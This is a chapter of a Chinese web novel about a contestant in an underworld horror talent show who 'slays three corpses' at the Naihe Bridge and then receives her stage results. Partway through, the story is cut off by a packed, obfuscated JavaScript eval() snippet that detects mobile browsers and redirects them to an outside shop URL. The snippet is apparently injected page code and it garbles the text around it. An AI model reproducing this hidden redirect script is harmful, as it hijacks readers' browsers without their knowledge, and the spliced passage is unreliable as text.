一见到秦霜池,它们仨还有点不敢认,但习惯成自然,已经条件反射地哆哆嗦嗦跪下了。 秦霜池一身都是仵官王的血,整个人像是一个血人,呲牙笑时,露出白色的牙齿。 “都给朕起来,抬你们的棺,继续赶路!” 果然是它们的陛下!原汁原味的陛下! 三只尸鬼连忙各就各位,抬棺的抬棺,捶腿的捶腿,逗趣的逗趣。 它们的陛下坐在棺材上,剑指前方: “下一站——奈何桥!” 自出血盆界后,黄泉路上就带上了迷蒙的白烟。 行了约莫一个时辰的路,秦霜池眼前的白烟变得愈来愈浓。 鬼太监将秦霜池从棺材上扶下来,贴心提示道: “陛下,这浓烟乃忘尘烟,有令人神志不清的效用,越往高处烟越浓,您仔细着点,看着前方的路,低头弯腰,捂住口鼻。” 秦霜池拿龙袍捂着嘴,被迫嗅着那浓重的血腥味,点了点头。 ——她懂,小时候消防演练教过。 靠近奈何桥,周围的孤魂野鬼也多了起来。 它们不比秦霜池一行尸鬼防备着浓烟还保持着基本的神智,大部分都浑浑噩噩地佝偻着身子,歪歪倒倒地朝着前方走去。 由于能见度越来越低,秦霜池动不动就要踩到忽然冒出来的前鬼的后脚跟。 甚至她有一次还不小心踩下了一只尸鬼腐烂的脚皮。 主要是,她的鞋已经被黄泉路吃掉了啊! 秦霜池:……哕,受不了了好恶心! 本来被黄泉路吃掉就烦! 就在秦霜池忍不住想要砍点啥泄愤时,眼前隐隐约约出现了一座桥的阴影。 那是一座紫檀木盖成的桥,两边挂着为行路鬼指引方向的红色的灯笼,周围的鬼乱中有序地朝着那座桥涌去,踏上那座桥,身影消失在那座桥的尽头。 鬼文臣俯身贴耳地介绍:“陛下,这前头就是奈何桥了,咱们快过去吧。” 一步,两步。 在三只尸鬼臣子的簇拥下,秦霜池慢慢靠近那座象征着一切终结的奈何桥。 终于走到了桥头,秦霜池却站住不动了。 “陛下,您怎么又停下了?” 前方,三只尸鬼臣子忽然唰地一下,齐齐转过头,盯着她看。 三张嘴以同一频率开合,三种声音交叠在一起,达成了一种奇怪的协调感。 仿佛,它们生来就应该用同一副嗓子说话。 秦霜池当然没有忘记她的舞台目标—— 【舞台目标:1.找出那只最想要杀死你的、最该死的尸鬼,你有三次机会杀死它。2.在此之前,不要过奈何桥!】 还有那句重要又不重要的舞台提示:“斩得三尸,即证金仙。” “……还没用完三剑,怎么能过奈何桥呢。”秦霜池举起剑,露出了一个秋后算账的、阴险小人的邪恶笑容,“来吧,剩下一剑,哪只小馋尸鬼想吃?” 9.斩得三尸证金仙 秦霜池松开捂着的口鼻,举起她的剑,面对着眼前的三只尸鬼。 ——准确来说,是由她体内外化而出的三只尸虫。 三只尸鬼,三只尸虫,这不就正好对上数了吗? “你们,自我介绍一下?” 她握紧手中剑,睨着眼前的三鬼。 作为寄居在这具身体的“臣子”,三鬼无法拒绝身体主人的任何要求。 它们必须跟随着她一起行动,奉她为“君主”,甚至不能抛下她自行过奈何桥。 一直习惯佝偻着行动的鬼太监闻言,缓缓直起了腰,桀桀笑了起来: “下尸彭蹻,主司色欲,向陛下请安。” 鬼武将抱拳道:“中尸彭踬,主司愤怒,向陛下请安。” 鬼文臣也走到它们的身侧,对着秦霜池拱手行礼: “上尸彭踞,主司虚荣,向陛下请安。” 太监管色欲,武将管愤怒,文臣管虚荣。 三种尸虫,都以符合它们特性的身份进行装扮。 知道抵抗不了秦霜池,鬼文臣面无表情地发问: “陛下要用剩下的一剑,刺死我们三个吗?陛下可以赐我等自尽,我们自己来。” “不。”秦霜池摇头,“你们一路上伺候得挺周到的,朕是个善待功臣的好皇帝,最终决定放过你们。” 主要是一剑杀了这三只尸虫,好像也不是啥多高明的手段,感觉就连路过的鬼都能想到这个法子。 道具组不会真的做了相关特效吧?那也太没创意了。 哎呀哎呀,不讲不讲。 鬼武将有一瞬间愕然:“那陛下揭穿我们——” “哦。”秦霜池悠悠道,“是为了让某些人看出朕的英明。” 三只尸鬼:…… 不然到时候有些观众唧唧歪歪地挑刺,骂她“居然看不出这三个臣子是三只尸虫,这也太菜了吧”,她上哪里说理去? 什么叫细节? 这就是微操! 鬼文臣虚心询问:“那陛下是打算?” “急什么,你们是尸鬼,朕也是尸鬼,可这奈何桥上的尸鬼,又不是只有你们和朕这四只。” 秦霜池提着剑,在奈何桥前走来走去,念念叨叨。 “朕要找的,是最想要杀死朕的、最该死的尸鬼,你们三个,还不够格!” “……再说了,此尸鬼,就非得是彼尸鬼吗?” 尸鬼就非得是尸鬼吗? 这句话除了秦霜池,这里没鬼能听得懂。 “陛下的意思是?” 秦霜池嘿嘿一笑,竖起一根手指摇了摇: “要朕来说啊,其实这里压根就找不到真正标准的‘尸鬼’!尸是尸,鬼是鬼,可是尸鬼是什么呢?你们这一路走来,见过谁脸上写着‘我是尸鬼’吗?” “发现了吧——没有。” 是啊,没有。 这个世上没有一种公认的、叫“尸鬼”的生物。 提起“尸鬼”,每个人脑子里浮现的,都是自己心中对于尸鬼的想象。 “那既然没有,‘尸鬼’又该如何认定?” 说着,秦霜池摇头,摊手。 “你们是三尸虫,随朕身死后又化作了鬼,所以你们勉强能算是尸鬼;朕是人死后成了尸体,起尸后又化作了鬼,所以朕也可以被认为是尸鬼。不妨说得再大胆一点,只要有‘尸’有‘鬼’,就是尸鬼了。” 秦霜池指了指三尸,又指了指自己,最后手指指天,得出结论: “——由此可见,‘尸鬼’的认定没有标准答案,就是一场巨大的拼字游戏!” “拼,拼字游戏?”鬼文臣震颤着重复秦霜池的话。 生死攸关的事,在这位帝王口中,居然只是游戏而已。 秦霜池并不理会它,露出了志在必得的微笑:“那么,我这一剑想要给出更优解,关键就在于,我能不能想出一个更有新意的拼字组合。” 什么,是更有新意的拼字组合呢? 她需要一个无论是对于皇帝这个身份来说,还是对于斩三尸证金仙的提示来说,抑或是对于此刻观看直播的赛博观众和判官评委来说,对于大概率没有准备但需要现场准备的道具组来说,都更有新意的拼字组合! 这次舞台,模拟的是她自身最最最恐惧之事,她最恐惧之事,又是什么? 皇帝都是怕死的……她怕死么? 其实并不,她并不介意为了心中最好的舞台献出生命。 所以她来参加恐怖选秀时,也做好了惨死的准备。 可在司马潭将她钉死在床上时,她其实也颤抖了害怕了,她确实感受到了最惧怕的事情。 那么,她怕的,到底是什么呢? 周遭是混混沌沌、庸庸碌碌走向轮回的人群,身上是那件被鲜血浸透的破旧龙袍,对面则是她身为人类避无可避的三种恶欲形成的尸虫。 秦霜池紧握着她的剑,陷入了恒久的沉思中。 她在原地站了很久很久,黄泉路一点点贪婪地蚕食着她的躯体,直到她的半身都被埋入了这黄泉之土中。 黄泉之土会平等地埋没一切,人在这尘世间走完一遭,那些执念,荣誉,尊严……生不带来死不带去的,什么都不会剩下。 而她又在恐惧些什么呢? “各位爱卿,朕想明白了。” 忽然,秦霜池抬起头,唇边露出一抹微笑。 “朕明白,什么是朕最惧怕之事,谁才是最想要杀死朕的、最该死的尸鬼。” 对于这个问题,她将会给出她自己的答案。 ——独属于秦霜池的答案。 她并没有着急公布答案,而是面色平静地把那把拿了一路的剑顶在玉棺上,剑柄怼着棺壁。 再用双手捏着尖利的剑刃,对准自己的左胸口。 然后,整个人向着棺壁压去。 削铁如泥的剑尖“噗呲”一声,顺利捅开她胸口的皮肤,深入胸膛,触及心脏。 【导播提示:叮咚~已使用法器“好剑”。】 法器【好剑】状态已更新! 【状态:战至巅峰(战斗次数3/3)】 秦霜池眼睛都不眨地淡定将宝剑在体内搅动着,剖开血肉,挖出自己那颗已经不会再跳动的心脏。 她的双手鲜血淋漓,把周边的肌肉切开,单独取出那颗黑紫色的心脏。 这颗心脏已经快要腐烂了,散发着阵阵令人作呕的恶臭。 秦霜池举起这颗肮脏的心脏,然后重新拿起那把剑。 她把这颗心脏刺了个对穿! “这场关于‘尸鬼’拆字游戏,我的版本是——”秦霜池用剑挑着自己的心脏,缓缓开口,“‘心’里有‘鬼’,便是一个‘愧’字,我不怕死,只怕心中有愧,甚至最后怀着这只心‘鬼’死去,成为一具‘尸’体,对我而言,这才是最恐怖的‘尸鬼’。” 她当然可以死,但不能死在家里的洗头床上,被前夫以“保护”的名义代为做主,怀着对自己无能为力的愧疚,死得毫无选择。 这人间是否值得,这恐综可怕不可怕,她自己会去看! 秦霜池一说完,道具组便开始发力了。 剑上串着的心脏冒起了阵阵黑烟,缓缓升腾起一个人形。 那是穿着v领西装和黑色西裤的秦霜池,是她拿了第八百八十八届最佳华语女歌手时的打扮。 那一年,她才十八岁,横空出世,惊才绝艳。 人们迷恋她的唱功和声线,又不满于她的骄傲和年轻。 十八岁的秦霜池拿着奖杯,和二十五岁的秦霜池对视。 她们彼此之间,什么都没说,什么都不用说。 秦霜池看着十八岁的自己,轻轻笑了笑。 她并不怀念逝去的星光,也并不遗憾智械时代来临之后沉寂的那两年。 骄傲不算个好情绪,所以智械并没有把她的骄傲收走。 二十五岁的秦霜池依旧骄傲,依旧年轻。 问心,无愧! 【导播提示:有赛博冤魂观众进入了您的直播间,请继续努力展现您的风采叭~】 【正在观看直播的赛博冤魂观众数量:1→91。】 紧接着,熟悉的提示音响起: “滴……滴……连接成功。 “检测到您在舞台上受了致命伤【挖心】后依旧坚持表演,智械联盟被您爱岗敬业的精神所感动,特此为您提供工伤补偿——一份【比干加油包】,请查收!” 秦霜池愣了一下,她没想到三剑已经砍完,表演都临近结束了,居然还会为她报工伤。 ……资本家的手段罢了! 秦霜池,千万要冷静,不要沉迷! 提示音落下,一个被熟悉的包包子的包纸包着的包子落入了秦霜池的手中。 【比干加油包】 数量:1份 状态:可随意改变大小,已绑定,仅限个人使用。 保质期:本次表演结束前 简介:“宁将血溅商家土,忍见头悬太白旗。”——挖心,然后变得更强! 用法:使用此加油包后,可短暂获得比干的财神赐福,你可以在下一次随机事件中获得非同小可的好运,这可是文财神的力量! 这个加油包的保质期,依旧只到本次表演结束前。 也就是说,秦霜池无法将它带离舞台。 秦霜池看完介绍以后,想了想,没有再收起来,直接把这个加油包给缩小后吃进了肚子里。 至于能不能发挥作用,就只能看她的造化了。 【导播提示:叮咚~已使用道具“比干加油包”。】 秦霜池吃完包子,把自己的心脏随手抛进了忘川河中,溅起巨大的水花。 然后看向眼前的三只尸鬼,开口招呼道: “走吧,爱卿们,上奈何桥,来送朕最后一程。” 三只尸鬼你看看我,我看看你,沉默地护送着秦霜池上了奈何桥。 踏上奈何桥的那一刻,黄泉路归还了所有他们身体上被吃掉的部分,再造成人。 依旧是鬼武将-鬼太监(肉盾)-秦霜池ovO-鬼文臣的阵型。 秦霜池依旧三步一窜,两呀两回头,探戈就是趟啊趟着走。 奈何桥上,行人过匆匆;奈何桥下,忘川水悠悠。 秦霜池没有再去捂口鼻,从奈何桥上的忘尘烟中走过,眼神渐渐变得混沌不明。 奈何桥的尽头支着一个破破烂烂的小摊,一个慈祥的老妪正在搅拌着一口盛满浓汤的大锅,尸鬼们自觉排着队去领取属于自己的那一碗。 秦霜池排在队伍中,等了不知道多久,终于轮到了她。 孟婆一如往常地将孟婆汤递到了这个尸鬼的手中。 双目无神的秦霜池将孟婆汤接过,双手端着送到了嘴边,正准备喝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17409746|200044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下。 忽然,她嘴角勾起一抹笑。 丝毫不在乎形象地,从两只鼻孔里抽出了两条不知道什么时候塞进的布条。 这可是直播收尾的重要阶段! 秦霜池不放过最后的机会宣传一波自己,烫嘴一般飞快念道: “直播间的家人们点点关注,今天主播来为大家测评奈何桥头孟婆家的孟婆汤,有钱的捧个钱场,没钱的捧个人场,点点关注不迷路!” 最后,对着已经完全愣住的孟婆比了一个耶。 趁着孟婆反应过来发怒前,秦霜池快速把手里的汤一饮而尽,露出了四大皆空的痴呆表情,一瘸一拐地投胎去了。 孟婆望着秦霜池走路顺拐的背影,忍不住拿起一个汤碗扔她。 结果秦霜池又换了个走路方式,莫名其妙地开始前后摇头跳探戈,恰好把那个汤碗躲了过去。 孟婆:……好气,但是没办法。 【导播提示:选手“秦霜池”已成功完成表演《斩三尸》,接下来进入舞台结算阶段——】 【舞台名称:斩三尸】 【舞台类型:剧情演绎类舞台】 【舞台地点:黄泉路上】 【舞台提示:“斩得三尸,即证金仙。”】 【舞台目标:1.找出那只最想要杀死你的、最该死的尸鬼,你有三次机会杀死它。2.在此之前,不要过奈何桥!】 【表演用时:18小时6分钟21秒】 【表演成果:3灯晋级!】 【判官评委评价1:本来不看好你……算了,好好好好。】 【判官评委评价2:啥?还要写评价?白姐咋写的啊?】 【判官评委评价3:你这个黑心肝的资本家,比赛结束后别让我逮到你,不然我一定把你吊死在路灯上!】 【表演过程中,共有位赛博冤魂观众观看了您的直播,奖励点绝望值~】 【恭喜您达成观看械次机的奖励,获得恐怖直播平台的情绪奖励——1点“愉悦”。】 【粉丝团成员数量增加 2 名,快来为你的粉丝团取个名字吧~】 【获得打赏 1 串金元宝,1 枚纸钱,共计 101 点绝望值,唔,您还吃得起饭吗?】 对于导播最后一句明显带着恶意的提问,秦霜池表示她真的受伤了! 想到有观看人次达成奖励,她真想去买点推荐。 怎么回事! 就没有自来水智械看到她的优秀,替她上网宣传宣传吗! 不过,机械的自来水好像不能叫自来水。 应该叫机油。 ——嘤嘤嘤,她的好机油又在何方! 【导播提示:舞台结算已结束,接下来将由十殿机械阎王的虚拟投影,为该人类挑选本命法器作为晋级奖励。】 【导播提示:舞台脱出中……场景切换中……】 再睁开眼,秦霜池重新出现在了火海舞台上。 眼前不再是那三位判官评委,而变成了十位机械阎王的分身投影。 【导播提示:接下来,将由伟大的机械阎王们为人类选手颁发本命法器!】 【导播提示:为了提升恐怖综艺的可看性,帮助人类感受最先进的科技成果,本节目特地慷慨地开启了智械总库,并请来了机械阎王,为人类选手挑选合适的本命法器。】 【导播提示:插播一条公益广告,在预选赛中,不少选手都曾参与过与智械一族合作的法器定制计划,选手的个人特色与最新科技碰撞出了无比美妙的火花!在之后的赛场上,你将与他们相遇,敬请期待叭!】 听到最后一段播报,秦霜池遗憾地叹息了一声。 果然,参与预选赛是有好处的。 就连法器都是量身定制的,好眼馋! 哪怕之后的比赛里,她可能还会拥有各种各样的厉害道具,但量身定制的本命法器,总归是不一样的。 哎呀,不知道本命法器会不会和本人绑定。 如果可以想办法把预选赛选手的本命法器借来玩玩的话…… 咳咳咳,打住! 十殿机械阎王的高大投影环绕着火海舞台围了一圈,秦霜池仰起脑袋三百六十度地转,才勉强把十位都看全。 过程中,她还看到了一个熟悉的身影。 没错,就是机械版的仵官王! 虽然秦霜池杀的仵官王只是一个舞台上的助演角色,但是那个角色长得和这位机械仵官王的投影一模一样啊! 除了这位身上带了些更加有科技感的机械纹路,其他的都没差别。 它见秦霜池看过来,扭头重重地“哼”了一声,绿色的脸隐隐发黑,摆明了不待见秦霜池。 总而言之,就是有些小尴尬啦~ 秦霜池当作没看到。 她是来零元购领法宝的,不是来热脸贴冷屁股的。 搞得像是谁还没有两瓣屁股似的! 她此刻还惦记着【比干加油包】的状态,不知道财神的赐福现在还存在不存在? ……不会刚才躲孟婆的碗那一下用掉了吧? 那她可就太冤了! 不知道为什么,十殿阎王看了秦霜池很久,却一直没开口说话。 命运的齿轮迟迟没有开始转动的迹象,秦霜池只能主动问: “你们,谁给我发法器啊?” 最重要的是——发什么给她当本命法器啊?